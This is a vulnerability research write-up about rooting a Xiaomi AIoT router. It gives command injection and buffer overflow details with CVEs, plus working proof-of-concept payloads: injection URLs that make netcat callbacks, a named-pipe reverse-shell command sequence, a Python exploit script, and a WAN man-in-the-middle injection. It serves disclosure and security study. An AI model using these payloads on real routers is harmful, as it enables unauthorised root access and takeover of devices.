Rooting Xiaomi WiFi Routers
Table of contents
- Table of contents
- Introduction
- Environment
- Attack Surface
- Vulnerability Details
- LAN
- Post-authorization
- Endpoint
/api/xqnetwork/set_wan6
- Command Injection (already known as CVE-2020-14100) - Endpoint
/api/xqsmarthome/request_smartcontroller
- Command Injection (CVE-2023-26319) - Endpoint
/api/xqsmarthome/request_smartcontroller
- Stack Buffer Overflow (CVE-2023-26318) - Endpoint
/api/xqsmarthome/request_smartcontroller
- Another Command Injection
- Endpoint
- Pre-authorization
- Post-authorization
- WAN
- LAN
- Some affected products
- Conclusion
- Timeline
Introduction
Our research focused on the MI AIoT Router AC2350
with the aim to obtain remote code execution on the LAN and WAN interfaces. We found several vulnerabilities in the router that allow an attacker to gain root access to the router. We sent 8 reports to Xiaomi on their HackerOne bug bounty program — all the bugs should be fixed in the latest firmware updates according to them.
Previous research by Aobo Wang and Jihong Zheng at Hitcon 2020 demonstrated various vulnerabilities in Xiaomi routers.
However, during our analysis of the MI AIoT Router AC2350,
we found that certain bugs, previously identified by Wang and Zheng in 2020, were still present. It seems these vulnerabilities hadn’t been rectified in the most recent firmware updates for our router, including Global 3.0.36 and China 1.3.8. They had only been fixed in the router version specified in the CVE descriptions, namely the Mi AIoT Router AX3600.
As a result, we have decided to inform Xiaomi of these re-discovered bugs alongside our new ones.
Environment
Xiaomi sells a wide variety of WiFi routers based on OpenWrt. Therefore, the web functions are served through OpenWrt’s luci
Lua package. Fortunately, in comparison to other firmwares from Xiaomi routers, the Lua scripts containing the web functions were not encrypted, allowing us to easily analyze the code and pinpoint the API functions.
All binaries are executed as root
and, therefore, any vulnerability that allows arbitrary code execution on the router will result in a root
access. This is interesting as even a command injection found through the web interface results in the highest level of access to the operating system.
Similarly to most WiFi routers, an authentication portal is available on the router’s web interface and different permission levels protect access to certain API functions. After authenticating on the web portal, a token is generated and is sent in the URL to signify that the user is authenticated. This authorization token can be found in the stok
URL parameter.
Furthermore, it is important to keep in mind that the router runs on a 32-bit big-endian MIPS CPU
: to get more tools than what the firmware’s busybox
can offer (e.g. gdb
, gdbserver
, strace
, socat
…), we can, for example, look for precompiled binaries online or build a complete toolchain using buildroot to compile a kernel with a filesystem in order to emulate the router with QEMU
.
Finally, we can note that even if most of the binaries are compiled without any protections (no PIE, no NX, no stack canary, partial/no RELRO), ASLR is active on the router. The big-endianness does not allow us to only overwrite the end of addresses in the same way we could in little endian. In addition, non-PIE binaries are mapped at the virtual address 0x00400000
which starts with a null byte and will cause us some issues later for exploitation.
Attack Surface
WiFi routers have two accessible interfaces, LAN and WAN: the LAN interface is accessible once a device is connected to its WiFi and the WAN interface is accessible through the internet.
Within the LAN interface, we can further distinguish pre-authorization and post-authorization attacks. Pre-authorization attacks can be done without authentication, by any device connected to the WiFi, while post-authorization attacks require authentication (user:password) on the router’s web interface, accessible at http://192.168.31.1
.
LAN
For LAN vulnerabilities, we focused on the web API functions to execute commands on the router.
To analyze all API functions we scraped every file containing the string entry({"api"
as this turned out to be the endpoint source. Furthermore, this technique lets us identify the associated functions and authorization levels required to execute the different API calls.
soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api"
[...]
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "set_wifi_weak"}, call("setWifiWeakInfo"), (""), 286)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "get_wifi_weak"}, call("getWifiWeakInfo"), (""), 287)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "set_wan6"}, call("setWan6"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "ipv6_status"}, call("ipv6Status"), (""), 223, 0x08)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "miscan_switch"}, call("miscanSwitch"), (""), 290)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "get_miscan_switch"}, call("getMiscanSwitch"), (""), 291)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "set_wifi_txbf"}, call("setWifiTxbf"), (""), 295)
usr/lib/lua/luci/controller/api/xqnetwork.lua: entry({"api", "xqnetwork", "set_wifi_ax"}, call("setWifiAx"), (""), 296)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_yeelink"}, call("tunnelYeelink"), _(""), 505)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_camera"}, call("requestCamera"), _(""), 506)
usr/lib/lua/luci/controller/api/xqsmarthome.lua: entry({"api", "xqsmarthome", "request_miiolist"}, call("requestMiioList"), _(""), 507)
soeasy@ubuntu:~/router/fs $ grep -Rs "entry({\"api" | wc -l
476
We can then interpret each line like this:
--- API endpoint: `/api/xqnetwork/pppoe_catch` - Corresponding Lua function: `pppoeCatch()` - Authorization Flag: `0x09`
entry({"api", "xqnetwork", "pppoe_catch"}, call("pppoeCatch"), (""), 264, 0x09)
To understand the authorization flags, which is visibly a custom feature that Xiaomi implemented because it’s not in the original luci’s source code, we can have a look at the flag checking functions in /usr/lib/lua/luci/dispatcher.lua
.
[...]
function _remoteAccessForbidden(flag)
if flag == nil then
return false
end
if bit.band(flag, 0x02) == 0x02 then
return true
else
return false
end
end
[...]
The different authorization flags are the following, and can of course be combined:
0x01
: “_noauthAccessAllowed”0x02
: “_remoteAccessForbidden”0x04
: “_syslockAccessAllowed”0x08
: “_noinitAccessAllowed”0x10
: “_sdkFilter”
We found roughly 500 API endpoints and initiated the grunt work of analyzing all of them, separating them into categories based on their permission levels.
The first target functions in the Lua code were os.execute
, forkExec
, io.popen
… as they allow direct command execution on the router. However, we also dove into the functions that branched out to router binaries in order to find lower-level vulnerabilities through reverse engineering.
Indeed, certain API functions will directly invoke binaries with user-controlled parameters through the URL to perform some tasks. Meaning, if the called binary is vulnerable, a specially crafted URL could potentially lead to code execution in the called program.
WAN
For WAN vulnerabilities, we approached the problem by following Pwn2Own’s method of intercepting the traffic on the WAN interface. Acting as a man-in-the-middle, we emulated a DHCP
and DNS
server using dnsmasq
, thus redirecting the traffic to our machine. We noticed many HTTP
requests, giving us and any attackers the ability to intercept and modify the traffic. This proved to be fruitful in finding vulnerabilities as we will later see in this article.
Vulnerability Details
In this section, we will detail the multiple vulnerabilities we found in the router. The initial goal was to have a root shell on the router as it would be useful for future debugs. We followed a bottom-up approach regarding the level of authorization: consequently, we first looked at the LAN interface with the highest level of authorization (LAN post-auth), continued with LAN pre-auth, and finished with WAN.
LAN
To analyze the LAN attack surfaces we only focused on the web interface. Meaning, our research consisted in following the different endpoints and statically auditing their code.
Post-authorization
Post-authorization means that an authentication token is sent with the request, so the admin password is required. In the end, we found three RCEs on the LAN post-authorization surface. While two of these bugs were duplicates, they still served their purpose as a foothold onto the router which drastically helped in the search for other vulnerabilities.
Endpoint /api/xqnetwork/set_wan6
- Command Injection (already known as CVE-2020-14100)
The first vulnerability was a known RCE from 2020. An unsanitized url parameter is injected into a shell command thus resulting in arbitrary command injection. This command injection is known by Xiaomi, however, it was not fixed in this particular firmware.
The API endpoint /api/xqnetwork/set_wan6
, used to set IPv6 settings, calls the function setWan6()
in /usr/lib/lua/luci/controller/api/xqnetwork.lua
, and accepts multiple url parameters. The url parameter dns1
can be abused to inject commands in the XQFunction.forkExec()
method, which executes bash commands on the router. This vulnerability can be seen here:
function index()
local page = node("api","xqnetwork")
page.target = firstchild()
page.title = ("")
page.order = 200
page.sysauth = "admin"
page.sysauth_authenticator = "jsonauth"
page.index = true
[...]
entry({"api", "xqnetwork", "set_wan6"}, call("setWan6"), (""), 223, 0x08)
[...]
function setWan6()
[...]
--- `dn1` is retrieved here
local dns1 = XQSecureUtil.parseCmdline(LuciHttp.formvalue("dns1"))
local dns2 = XQSecureUtil.parseCmdline(LuciHttp.formvalue("dns2"))
if XQFunction.isStrNil(wanType)
and XQFunction.isStrNil(ip6addr)
and XQFunction.isStrNil(ip6gw)
and XQFunction.isStrNil(ip6prefix) then
code = 1502
else
if wanType == "native" then
if XQFunction.isStrNil(dns1) and XQFunction.isStrNil(dns2) then
XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native")
elseif not XQFunction.isStrNil(dns1) and XQFunction.isStrNil(dns2) then
XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native " .. dns1)
elseif XQFunction.isStrNil(dns1) and not XQFunction.isStrNil(dns2) then
XQFunction.forkExec("sleep 2; /etc/init.d/ipv6 native " .. dns2)
else
--- `dns1` is injected into a shell command here by a simple concatenation!
XQFunction.forkExec(
"sleep 2; /etc/init.d/ipv6 native " .. dns1 .. ',' .. dns2
)
[...]
The potentially problematic function here would be the parsing function XQSecureUtil.parseCmdline
, declared in /usr/lib/lua/xiaoqiang/util/XQSecureUtil.lua
, which will attempt to sanitize the input by escaping different characters.
function parseCmdline(str)
if XQFunction.isStrNil(str) then
return ""
else
return str:gsub("\\", "\\\\")
:gsub("`", "\\`")
:gsub("\"", "\\\"")
:gsub("%$", "\\$")
:gsub("%&", "\\&")
:gsub("%|", "\\|")
:gsub("%;", "\\;")
end
end
Plagued by a shell command injection, the dns1
variable can be populated with \n
(0x0a
in hex) to add arbitrary commands. Indeed, \n
bypasses the security checks done by the function XQSecureUtil.parseCmdline
. For instance, the following payload injected in the API URL makes a netcat
connection request on IP 192.168.31.161
and port 8282
: dns1=anything%0anc 192.168.31.161 8282
Example URL: http://192.168.31.1/cgi-bin/luci/;stok=3ab3ea7324a1eb604be37dff197cf504/api/xqnetwork/set_wan6?wanType=native&dns1=anything%0anc%20192.168.31.161%208282
We can execute any command on the router, with some limitations. Certain characters are escaped with a backslash, but we can then just run a sed
to remove the backslash to “de-escape” the characters. For instance, the following list of commands pops a reverse shell on the router:
commands = [
f"rm -f /tmp/f",
f"mknod /tmp/f p",
f"echo 'cat /tmp/f|sh -i 2>&1|nc {IP} {PORT} >/tmp/f' > revshell.sh",
f'sed -i \'s/\\//g\' revshell.sh',
f"sh revshell.sh"
]
Thus, we have a reverse shell on the router:
This vulnerability is in fact a duplicate of CVE-2020-14100 and we rediscovered it by accident. But we now have our first root reverse shell on the router with no restriction on the entire filesystem, great!
Endpoint /api/xqsmarthome/request_smartcontroller
- Command Injection (CVE-2023-26319)
The post-authorization API endpoint /api/xqsmarthome/request_smartcontroller
, which seeks to interact with smart-home devices on the network, is implemented in /usr/lib/lua/luci/controller/api/xqsmarthome.lua
and accepts the url parameter payload
.
function index()
local page = node("api","xqsmarthome")
page.target = firstchild()
page.title = ("")
page.order = 500
-- We have to be authenticated to access this API
page.sysauth = "admin"
page.sysauth_authenticator = "jsonauth"
page.index = true
entry({"api", "xqsmarthome"}, firstchild(), _(""), 500)
entry({"api", "xqsmarthome", "request"}, call("tunnelSmartHomeRequest"), _(""), 501)
-- API endpoint `request_smartcontroller` is defined here
entry({"api", "xqsmarthome", "request_smartcontroller"}, call("tunnelSmartControllerRequest"), _(""), 502)
entry({"api", "xqsmarthome", "request_miio"}, call("tunnelMiioRequest"), _(""), 503)
entry({"api", "xqsmarthome", "request_mitv"}, call("requestMitv"), _(""), 504)
entry({"api", "xqsmarthome", "request_yeelink"}, call("tunnelYeelink"), _(""), 505)
entry({"api", "xqsmarthome", "request_camera"}, call("requestCamera"), _(""), 506)
entry({"api", "xqsmarthome", "request_miiolist"}, call("requestMiioList"), _(""), 507)
end
[...]
function tunnelSmartControllerRequest()
local XQLog = require("xiaoqiang.XQLog")
local XQCryptoUtil = require("xiaoqiang.util.XQCryptoUtil")
local LuciJson = require("json")
local http_data = LuciJson.decode(LuciHttp.formvalue("payload"))
-- Our `payload` is base64 encoded
local payload = XQCryptoUtil.binaryBase64Enc(LuciHttp.formvalue("payload"))
[...]
local cmd = XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER % payload
local LuciUtil = require("luci.util")
-- Some command containing our `payload` is executed here
LuciHttp.write(LuciUtil.exec(cmd))
end
Here we can see that our payload
will be base64 encoded and then formatted into the string XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER
and that the result will be executed with LuciUtil.exec
. Let’s take a look at the value of XQConfigs.THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER
in /usr/lib/lua/xiaoqiang/common/XQConfigs.lua
.
THRIFT_TUNNEL_TO_DATACENTER = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = "thrifttunnel 2 '%s'"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_GET_SN = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_DEVICEID = "thrifttunnel 5 ''"
THRIFT_TUNNEL_TO_MIIO = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_YEELINK = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = "thrifttunnel 8 '%s'"
This payload
will thus be passed to the binary thrifttunnel
by executing the command: thrifttunnel 2 '[BASE64 PAYLOAD]'
.
While taking a look at the thrifttunnel
binary, we can see that the choice 2
will “transfer” the payload to a service called smartcontroller
through the ubus
IPC system.
// _ftext is basically the main function of the `thrifttunnel` binary
int32_t _ftext(int32_t argc, char** argv, char** envp) {
[...]
case 2:
{
uloop_init();
int32_t _ubus_ctx = ubus_connect(data_412050);
ubus_ctx = _ubus_ctx;
int32_t ubus_id;
if (_ubus_ctx != 0)
{
uloop_fd_add((_ubus_ctx + 0x2c), 9);
ubus_id = ubus_lookup_id(ubus_ctx, "smartcontroller", 0x412074);
if (ubus_id == 0)
{
blob_buf_init(0x41205c, 0);
blobmsg_add_field(0x41205c, 3, "request", s2_1, (strlen(s2_1) + 1));
s0_4 = nullptr;
int32_t v0_19 = ubus_invoke_fd(ubus_ctx, data_412074, "process_request", data_41205c, 0x400f00, 0, 0x1388, 0xffffffff);
a0_11 = ubus_ctx;
[...]
We can simplify this process by saying that the payload is finally passed as an argument to the /usr/sbin/smartcontroller
binary.
While looking for vulnerabilities in this smartcontroller
binary, we noticed that a command injection is possible through a mac
parameter and could allow remote code execution if it could be reached. This vulnerability is located in the function at 0x4061d4
which we renamed run_sysapi_macfilter
.
int32_t run_cmd(char* cmd)
{
int32_t ret = 0;
if (is_empty_str(cmd) == 0)
{
log(2, "system command: %s\n", cmd);
int32_t system_res;
int32_t a2_2;
// Command executed using the `sytem()` function
system_res = system(cmd);
ret = 1;
if (system_res != 0)
{
log(2, "system call error\n", a2_2);
ret = 0;
}
}
return ret;
}
// the `mac` parameter is user controlled
int32_t run_sysapi_macfilter(char* mac, int32_t enabled)
{
char* const yes_no;
char cmd_buffer[0x64];
memset(&cmd_buffer, 0, 0x64);
if (enable != 0)
{
yes_no = "no";
}
else
{
yes_no = "yes";
}
sprintf(&cmd_buffer,
"/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit",
mac,
a3);
// `mac` is directly injected into `system()`!
return run_cmd(&cmd_buffer);
}
Since the mac
parameter is user-controlled and directly passed to run_cmd
, we could execute any command on the router, but we first need to understand how to interact correctly with the smartcontroller
binary to reach this interesting function.
While reversing the smartcontroller
binary, we can see that the payload must be formatted as JSON with a “command” field. We can see the different possible commands in a function we named scene_command_parser
at 0x401dc0
.
int32_t scene_command_parser(char* command)
{
void* json_object;
int32_t a2;
json_object = json_tokener_parse(command);
char const* const error_msg;
if (json_object == 0)
{
error_msg = "request is not a json object\n";
}
else
{
void* cmd_json_object;
cmd_json_object = json_object_object_get(json_object, "command");
if (cmd_json_object != 0)
{
int32_t cmd_string = json_object_get_string(cmd_json_object);
int32_t s0_3;
int32_t v0_11;
if (strcmp(cmd_string, "scene_setting") == 0)
{
int32_t v0_12;
int32_t a2_6;
v0_12 = strcmp(cmd_string, "get_scene_setting");
if (v0_12 == 0)
{
if (strcmp(cmd_string, "get_single_scene_setting") == 0)
{
if (strcmp(cmd_string, "get_multiple_scene_setting") == 0)
{
if (strcmp(cmd_string, "scene_update") == 0)
{
if (strcmp(cmd_string, "scene_start") == 0)
{
if (strcmp(cmd_string, "scene_stop") == 0)
{
if (strcmp(cmd_string, "scene_launch") == 0)
{
if (strcmp(cmd_string, "scene_launch_delete") == 0)
{
if (strcmp(cmd_string, "scene_delete") == 0)
{
if (strcmp(cmd_string, "scene_start_by_device_status") == 0)
{
if (strcmp(cmd_string, "is_scene_processing") == 0)
{
if (strcmp(cmd_string, "get_scene_count") == 0)
{
if (strcmp(cmd_string, "reset_scenes") == 0)
{
if (strcmp(cmd_string, "scene_start_by_crontab") != 0)
{
For those of you who are really paying attention, we can see here that the
strcmp
returns 0 if the strings are not equal, which is the opposite of what normally happens: this is because thestrcmp
used here is a custom implementation.
In this same function, we can see the only cross-reference to the function run_sysapi_macfilter
that is interesting for us, in the case of the command “scene_setting”.
After a little more reverse engineering of the command parsing process, we built the following payload for the API /api/xqsmarthome/request_smartcontroller
that can then be used to POC the RCE by creating a new “scene” with the command scene_setting
that will block a MAC address - which will, in fact, be our command injection payload.
{
"command":"scene_setting",
"name":"it3",
"action_list":[
{
"thirdParty":"xmrouter",
"delay":17,
"type":"wan_block",
"payload":
{
"command":"wan_block",
// Command Injection - making an exterior connection
"mac":";nc 192.168.31.161 4242;#"
}
}
],
"launch":
{
"timer":
{
"time":"2:2",
"repeat":"0",
"enabled":true
}
}
}
Then, we need to start this scene by using the command scene_start_by_crontab
.
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}
A simple python script can be written to exploit the vulnerability:
import requests
AUTH_TOKEN = "bd3ff46458f812a97b4e9f10945c6ce5"
URL = f"http://192.168.31.1/cgi-bin/luci/;stok={AUTH_TOKEN}/api/xqsmarthome/request_smartcontroller"
command = "nc 192.168.31.161 4242"
requests.post(URL, data={
"payload":'{"command":"scene_setting","name":"it3","action_list":[{"thirdParty":"xmrouter","delay":17,"type":"wan_block","payload":{"command":"wan_block","mac":";' + command + ';#"}}],"launch":{"timer":{"time":"2:2","repeat":"0","enabled":true}}}'
})
requests.post(URL, data={
"payload":'{"command":"scene_start_by_crontab","time":"2:2","week":0}'
})
This way, we receive a connection with our listener:
With this system
injection in the /usr/sbin/smartcontroller
binary, we can now validate another LAN post-authorization RCE vulnerability, which is not a duplicate this time!
Endpoint /api/xqsmarthome/request_smartcontroller
- Stack Buffer Overflow (CVE-2023-26318)
In the same portion of code as the vulnerability above, we can see that smartcontroller
is also vulnerable to a stack buffer overflow. The mac
parameter, which is user-controlled, is directly injected into a stack buffer using sprintf()
, which means the length of the string copied to cmd_buffer
is not checked.
// the `mac` parameter is user controlled
int32_t run_sysapi_macfilter(char* mac, int32_t enabled)
{
char* const yes_no;
char cmd_buffer[0x64];
memset(&cmd_buffer, 0, 0x64);
if (enable != 0)
{
yes_no = "no";
}
else
{
yes_no = "yes";
}
// `mac` is directly injected into the `cmd_buffer` (stack buffer) without length check!
sprintf(&cmd_buffer,
"/usr/sbin/sysapi macfilter set mac=%s wan=%s;/usr/sbin/sysapi macfilter commit",
mac,
a3);
return run_cmd(&cmd_buffer);
}
We can then produce a quick PoC to overwrite the return address and set the program counter PC
to 0xdeadbeef
:
- First payload
{
[...]
// payload is basically the same as the previous one
// mac: A * 81 + 0xdeadbeef (URL encoded)
"mac":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%de%ad%be%ef"
[...]
}
- Second payload
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}
We can then check in gdb that we effectively control the PC
:
Unfortunately, since the vulnerability comes from the use of sprintf
with a %s
formatter, we cannot use NULL bytes in the payload. Consequently, we cannot use ROP gadgets to execute arbitrary code within the binary as we know that the base address of the binary is 0x00400000
(starting with a NULL byte) and that we can’t just make a partial address overwrite due to the endianness.
An exploit would require an ASLR bruteforce (which is reasonable on a 32-bit system) or an ASLR leak for example. Unfortunately, the binary is not restarted when it crashes, thus making the bruteforce pretty much impossible, but it is still a DoS. Since we had already discovered several RCEs, we decided not to spend too much time on this non-trivial vulnerability exploitation.
Endpoint /api/xqsmarthome/request_smartcontroller
- Another Command Injection
After having submitted the previous reports to Xiaomi, we were happy with our LAN post-authorization research as we had found a way to obtain a root shell on the router and also found non-duplicate RCEs eligible for their bug bounty program.
Soon enough, however, a second read-through of the smartcontroller
program revealed another command injection. Unfortunately, our previous report on the binary drew Xiaomi’s attention and they apparently found this injection shortly before our report. It was a duplicate once again but it taught us to fully finish a security audit before hastily reporting bugs.
This second command injection resides in the method that we renamed feedPush
at 0x405384
. The scene_name
parameter is directly injected in system()
without any sanitization in the run_cmd_arg
function.
int32_t run_cmd_arg(char* cmd, char* arg)
{
int32_t ret;
if (is_empty_str(cmd) != 0)
{
ret = 0;
}
else
{
if (is_empty_str(arg) != 0)
{
return run_cmd(cmd);
}
int32_t len = strlen(cmd) + strlen(arg) + 5;
char* final_command = malloc(len);
memset(final_command, 0, len);
// Here, an attempt of escaping `arg` to try to avoid command injections
sprintf(final_command, "%s '%s'", cmd, arg);
// The final command is then executed with `system()`
ret = run_cmd(final_command);
free(final_command);
}
return ret;
}
int32_t feedPush(scene_struct* scene)
{
json_object* new_dupe = json_object_new_object();
json_object_object_add(new_dupe, "type", json_object_new_int(5));
json_object* new_obj = json_object_new_object();
// `scene_name` is user controlled
json_object_object_add(new_obj, "name", json_object_new_string(scene->scene_name));
[...]
json_object_object_add(new_dupe, "data", new_obj);
// user controlled data is duplicated and stringified
char* duplicate_data = strdup(json_object_to_json_string(new_dupe));
int32_t v0_6 = json_object_put(new_dupe);
if (duplicate_data == 0)
{
return v0_6;
}
// `duplicate_data` is directly injected into `system()`
run_cmd_arg("/usr/sbin/feedPush", duplicate_data);
return free(duplicate_data);
}
We can easily escape the quotes in run_cmd_arg
by using a simple trick ($(shell command)
) and inject the scene_name
. To PoC this vulnerability, we can use those two payloads (again, similar to the previous ones):
- First payload
{
"command":"scene_setting",
// Command Injection - making an exterior connection
"name":"'$(nc 192.168.31.98 4242)'",
[...] // same as before
}
- Second payload
{
"command":"scene_start_by_crontab",
"time":"2:2",
"week":0
}
This way, we receive a connection with our listener and confirm the RCE:
Pre-authorization
We now know that the post-authorization LAN is affected by several bugs allowing us to get a root shell on the Xiaomi router: to do so, we need the admin password of the router’s web interface to retrieve the authentication token. Naturally, it would be even more interesting if we could bypass that step: our next phase is then to look at the pre-authorization LAN interface so that any user connected to the WiFi can exploit the router.
The vulnerabilities on this LAN pre-auth surface were found in the lua_rsa_pubkey_encrypt()
method from Xiaomi’s /usr/lib/lua/librsa.so
library. Using the endpoint’s name, we guess this function simplifies sharing the WiFi password through a link. This function is exposed before authentication via an API endpoint of the router’s interface: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=
.
Endpoint /api/misystem/get_wifi_pwd_url
- pk_free()
First, we can trigger a call to pk_free()
from libembedtls.so
on an uninitialized pointer in public_encrypt_keybuf()
(called by lua_rsa_pubkey_encrypt()
) when giving a malformed RSA public key. This bug could theoretically lead to Remote Code Execution by carefully organizing the stack as we will see.
int32_t public_encrypt_keybuf(char* url, int32_t url_len, int32_t* arg3, int32_t* arg4, char* controlled_key, int32_t key_len)
{
int32_t ret_code;
void* pk_ctx;
int32_t b64_needed_len = 0;
base64_decode(0, &b64_needed_len, controlled_key, key_len);
if (sys_log_enable != 0)
{
syslog(6, " rsa crypto base64_decode need …", b64_needed_len);
}
char* b64 = calloc((b64_needed_len + 1), 1);
int32_t err_code = base64_decode(b64, &b64_needed_len, controlled_key, key_len);
if (err_code == 0)
{
[..]
}
else
{
if (sys_log_enable != 0)
{
syslog(6, " rsa crypto base64_decode faile…", err_code);
}
ret_code = 101;
// This is freed but was never initialized if(err_code != 0)
pk_free(&pk_ctx);
free(b64);
}
return ret_code;
}
To trigger the pk_free()
bug, we just need to send a malformed RSA public key with non-base64 characters. For example: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=%01
.
In GDB, we can see that an unmapped address is dereferenced in pk_free()
:
To understand this vulnerability a bit more, let’s look at the source code of the pk_free()
function from libmbedtls
that we can find online: libmbedtls.
/*
* Free (the components of) a pk_context
*/
void pk_free( pk_context *ctx )
{
if( ctx == NULL || ctx->pk_info == NULL )
return;
ctx->pk_info->ctx_free_func( ctx->pk_ctx );
polarssl_zeroize( ctx, sizeof( pk_context ) );
}
Here we can see that the context ctx
stores at least a function pointer at ctx->pk_info->ctx_free_func
and will call this function with ctx->pk_ctx
as a parameter. If we manage to overwrite the stack frame of the function or prepare it using a previous call, and because the pk_context
variable in public_encrypt_kerybuf()
is not initialized at the beginning of the method, it is possible to build a fake pk_context
structure in the stack.
For example, we could set ctx->pk_info->ctx_free_func
to the libc
system
function and set ctx->pk_ctx
to a custom string (example: “/bin/sh” to spawn a shell).
Unfortunately, it is complicated to set up the stack for this attack because we can see in the Lua code that librsa.so
is mapped and unmapped at runtime with only one function from the library being called (lua_rsa_pubkey_encrypt
), not really giving us any control:
function getWifiPwdUrl()
[...]
-- Here, `lirsa.so` is loaded
local lua_crypto = require("librsa")
[...]
local rsa_pub_key = LuciHttp.formvalue("rsa_pubkey")
if rsa_pub_key == nil then
result.code = 1
result["msg"] = "http get rsa_pubkey null."
end
[...]
local url = string.format('http://%s/cgi-bin/luci/api/misystem/get_wifi_pwd?token=%s', lanip, token)
XQLog.log(6,"iot url_origin:"..url)
-- Here, only `lua_rsa_pubkey_encrypt` is called
local url_new = lua_crypto.lua_rsa_pubkey_encrypt(url, rsa_pub_key)
if url_new ~= nil then
[...]
else
XQLog.log(6,"lua call C lib lua_rsa_pubkey_encrypt() ret nil")
result.code = 3
result["msg"] = "lua call c api ret null."
end
[...]
end
Endpoint /api/misystem/get_wifi_pwd_url
- Stack Buffer Overflow (already known as CVE-2020-14124)
We can also trigger a stack buffer overflow in lua_rsa_pubkey_encrypt()
by giving an RSA public key longer than 1024 bytes: the stack buffer that receives the RSA key is on the stack and 1024 bytes long, but the program doesn’t check the length of the inserted key.
int32_t lua_rsa_pubkey_encrypt(struct lua_State* lua_state) {
char rsa_pub_key[1024];
char url[256];
memset(&rsa_pub_key, 0, 1024);
memset(&url, 0, 256);
[...]
strcpy(&url, luaL_checklstring(lua_state, 1, 0));
int32_t url_len = strlen(&url);
// Stack buffer overflow !
strcpy(&rsa_pub_key, luaL_checklstring(lua_state, 2, 0));
int32_t key_len = strlen(&rsa_pub_key);
[...]
}
After testing, we can control the PC
(Program Counter) after 1036 bytes, so this bug could eventually lead to Remote Code Execution.
To PoC the stack buffer overflow, we need to send an RSA public key with more than 1036 characters. For example, we can put 1036 * ‘A’ and then overwrite PC
with ‘BBBB’: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAABBBB
:
Unfortunately, there are some limitations for the exploitation of this buffer overflow: we have to use only base64 characters in our payload (A-Z
, a-z
, 0-9
, +
, =
, /
), the use of strcpy()
prevents the presence of nullbytes and of course, again, we have to deal with ASLR. We can however note that we could potentially brute force ASLR in this context because the librsa.so
binary is mapped at runtime, at a different place everytime and the crashes won’t cause a DoS because it comes from lua code which will be re-executed each time.
We also noticed that this vulnerability was already known by Xiaomi and was reported in 2020 by Aobo Wang on the AX3600
, assigned to CVE-2020-14124. Knowing that, we decided not to spend too much time trying to exploit it.
Endpoint /api/misystem/get_wifi_pwd_url
- memcmp()
We can trigger a third bug that occurs in the memcmp()
function from /lib/libuClibc-0.9.33.2.so
due to a combination of the two precedent bugs. By sending a lengthy and malformed RSA public key with at least one non-base64 character (e.g. with 8000 * ‘A’: http://192.168.31.1/cgi-bin/luci/api/misystem/get_wifi_pwd_url?rsa_pubkey=AAAAAA...AAAA%01BB
), we can cause a crash:
However, this bug has no real impact: the process crashes and the web page is rendering a 502 error but the process is restarted in the next API request. This bug is not exploitable.
WAN
Previously, we looked at the LAN interface in which an attacker must be internal to the network. Our next step was to analyze the possibility of external attacks through the WAN interface.
While intercepting the WAN communications, we noticed that the router makes different requests. One of these requests seemed particularly interesting: an unencrypted HTTP GET request to https://eu.api.miwifi.com/miwifi-broker/list
. We reproduced it by hand to see what the answer looks like.
Binary /usr/bin/messagingagent
- Command Injection (CVE-2023-26317)
We suppose that this GET request is employed to retrieve MQTT
server IPs for future communications within the router. A list of IPs is quite interesting and after having seen how some binaries directly passed elements as parameters to other binaries via system()
, we had the intuition that this list of IPs could probably be passed as a parameter to a certain binary. We can thus try to blindly inject commands here.
As the HTTP traffic is unencrypted and can be modified, we intercepted the request and just tried to inject ;reboot;
in the serverList
… And the router rebooted!
With a bash injection, we decided to go a little further and demonstrate an injection that could make an exterior connection using netcat
(nc 192.168.0.1 4343
). Once again, the only action for the exploit is the interception and modification of outgoing HTTP requests, which is relatively simple.
